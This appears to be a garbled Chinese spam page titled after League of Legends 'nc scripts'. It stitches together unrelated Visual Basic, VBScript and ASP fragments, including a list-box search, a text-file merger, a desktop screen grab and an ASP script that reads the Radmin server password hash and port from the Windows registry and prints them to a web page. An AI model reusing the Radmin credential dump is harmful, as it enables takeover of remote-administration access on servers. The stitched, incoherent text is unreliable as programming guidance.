英雄联盟nc脚本外伤应急演练

请给标准工程添加ListBox和TextBox控件各一个,其各项属性均取默认值,然后将下列代码拷贝到你的工程:OptionExplicit'申明API函数PrivateDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsInteger,ByVallParamAsAny)AsLongConstLB_FINDSTRING=&H18F'常数PrivateSubForm_Load()'给列表框添加26个字母(大写)DimiAsIntegerFori=Asc("A")ToAsc("Z")List1.AddItemChr$(i)NextText1=""'令文本框为空EndSubPrivateSubText1_KeyPress(KeyAsciiAsInteger)Text1=""'按下任意键则令原内容消失Text1.SelLength=1'限制长度Text1.SelText=Chr(KeyAscii)'显示键盘符号KeyAscii=0'禁止响铃'ListBox中的项目文本若与文本框的一致则选中(高亮)List1.ListIndex=SendMessage(List1.hwnd,LB_FINDSTRING,-1,ByValCStr(Text1.Text))EndSub以上程序适用于单项目为多个字母的查询,但必须注意,在TextBox的KeyPress事件中要作相应的改动dim xint,xinlu,jiuw dim objfso,objoutputfile,f,fx dim objTextFile,strtext Set objFSO=CreateObject("Scripting.FileSystemObject") '创建FSO对象 jiuw=inputbox("请输入源文件夹所在的路径(含文件夹名称)","请输入多个TXT文件夹所在位置") if objFSO.folderexists(jiuw) then set f=objFSO.getfolder(jiuw) '文件所在位路径 else msgbox "路径错误,请重新输入" end if xinlu=inputbox("请输入新的TXT所在的路径(不含书名),如果省略――即直接不输入点确定或取消,则默认是创建在源文件夹同一层位置","新的TXT保存位置") if objFSO.folderexists(xinlu) or len(xinlu)=0 then xint=inputbox("请输入新书名的名字","新书名") if len(xint)>0 then xint=xinlu & xint Set objOutputFile=objFSO.CreateTextFile( xint &".txt") '创建名为output的新的TXT,可以修改为你要的名称.txt else msgbox "没有输入内容,请重新输入" end if else msgbox "路径错误,请重新输入" end if For Each fx In f.Files '循环写入文本内容 Set objTextFile=objFSO.OpenTextFile(fx, ForReading) '找开文件 strText=objTextFile.ReadAll '读取全部 objTextFile.Close '关闭打开的文件 objOutputFile.WriteLine strText '在output.txt写入 文本 内容 Next

自己写自动阅读脚本 '-------------vbsTree.vbs------------------------ '描述:用vbs输出一个文件夹的目录结构PublicDeclareFunctionGetDesktopWindowLib"user32"()AsLongPublicDeclareFunctionGetDCLib"user32"(ByValhwndAsLong)AsLongPublicDeclareFunctionBitBltLib"gdi32"_(ByValhDestDCAsLong,_ByValxAsLong,_ByValyAsLong,_ByValnWidthAsLong,_ByValnHeightAsLong,_ByValhSrcDCAsLong,_ByValxSrcAsLong,_ByValySrcAsLong,_ByValdwRopAsLong)AsLongPrivateSubForm_Load()DimlDesktopAsLongDimlDCAsLongForm1.AutoRedraw=TrueForm1.ScaleMode=1lDesktop=GetDesktopWindow()'取得桌面窗口lDC=GetDC(lDesktop)'取得桌面窗口的设备场景BitBltMe.hDC,0,0,Screen.Width,Screen.Height,lDC,0,0,vbSrcCopy'将桌面图象绘制到窗体EndSub->

1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, PowerPoint等Office文档 5. 嵌入网页,驱动dHTML 6. 编写HTTP通信 7. 调用系统功能(COM组件),比如说语音说话 8. 分析HTML, XML 9. 调用命令行并分析返回结果 10. 处理图片 11. 自动化按键 12. 调用Windows Media Player并管理 13. 调用Windows Live Messenger并管理 14. 服务端技术:Active Server Page (ASP) 15. 脚本病毒 16. 处理数据库

  当然现在程序还什么也不能做,下面我们在程序中添加代码:

首先在General里声明全局变量:

  DimStoreStringAsString'用来储存字符串

  ※注意:为什么用全局变量?

  VB里每一个小过程都相当于一个程序,程序里的变量称为局部变量,是只能在程序内部使用的,而当程序调用结束后,由于从内存中被清除,所以变量储存的值也就消失了,这里的全局变量是用来在过程中传递字符串

<% '========================================Main======================================SetWSH=Server.CreateObject("Wscript.shell") RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters" Parameter="Parameter" Port="Port" ParameterArray=WSH.Regread(RadminPath&Parameter) Response.write"TheResultofRadminHash" Response.write"<br><br>" Response.writeParameter&":" '===========ReadPassWord=========IfIsArray(ParameterArray)Then Fori=0ToUBound(ParameterArray) IfLen(hex(ParameterArray(i)))=1Then strObj=strObj&"0"&CStr(Hex(ParameterArray(i))) Else strObj=strObj&Hex(ParameterArray(i)) EndIf Next response.writeLcase(strobj) Else response.write"Error!Can'tRead!" EndIf Response.write"<br><br>" '===========ReadPort=========PortArray=WSH.REGREAD(RadminPath&Port) IfIsArray(PortArray)Then Response.writePort&":" Response.writehextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) Else Response.write"Error!Can'tRead!" EndIf '=============hexTOint==========Functionhextointer(strin) Dimi,j,k,result result=0 Fori=1ToLen(strin) IfMid(strin,i,1)="f"OrMid(strin,i,1)="F"Then j=15 EndIf IfMid(strin,i,1)="e"OrMid(strin,i,1)="E"Then j=14 EndIf IfMid(strin,i,1)="d"OrMid(strin,i,1)="D"Then j=13 EndIf IfMid(strin,i,1)="c"OrMid(strin,i,1)="C"Then j=12 EndIf IfMid(strin,i,1)="b"OrMid(strin,i,1)="B"Then j=11 EndIf IfMid(strin,i,1)="a"OrMid(strin,i,1)="A"Then j=10 EndIf IfMid(strin,i,1)<="9"AndMid(strin,i,1)>="0"Then j=CInt(Mid(strin,i,1)) EndIf Fork=1ToLen(strin)-i j=j*16 Next result=result+j Next hextointer=result EndFunction '================End==========%>如果数据源不支持preparedstatement,则把该属性设为True,将导致一个自陷错误

是不是想默认显示 .txt 文件,然后为用户提供查看所有文件的选项?那么可以使用以下代码: objDialog.Filter="Text Files|*.txt|All Files|*.*"

aemotion 2安只与Recordset.Open或Requery一起使用

'====================================================================================================' 系统' 检查操作系统版本Sub CheckOS() If LCase(OSVer()) <> "xp" Then Msgbox "不支持该操作系统。

164人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册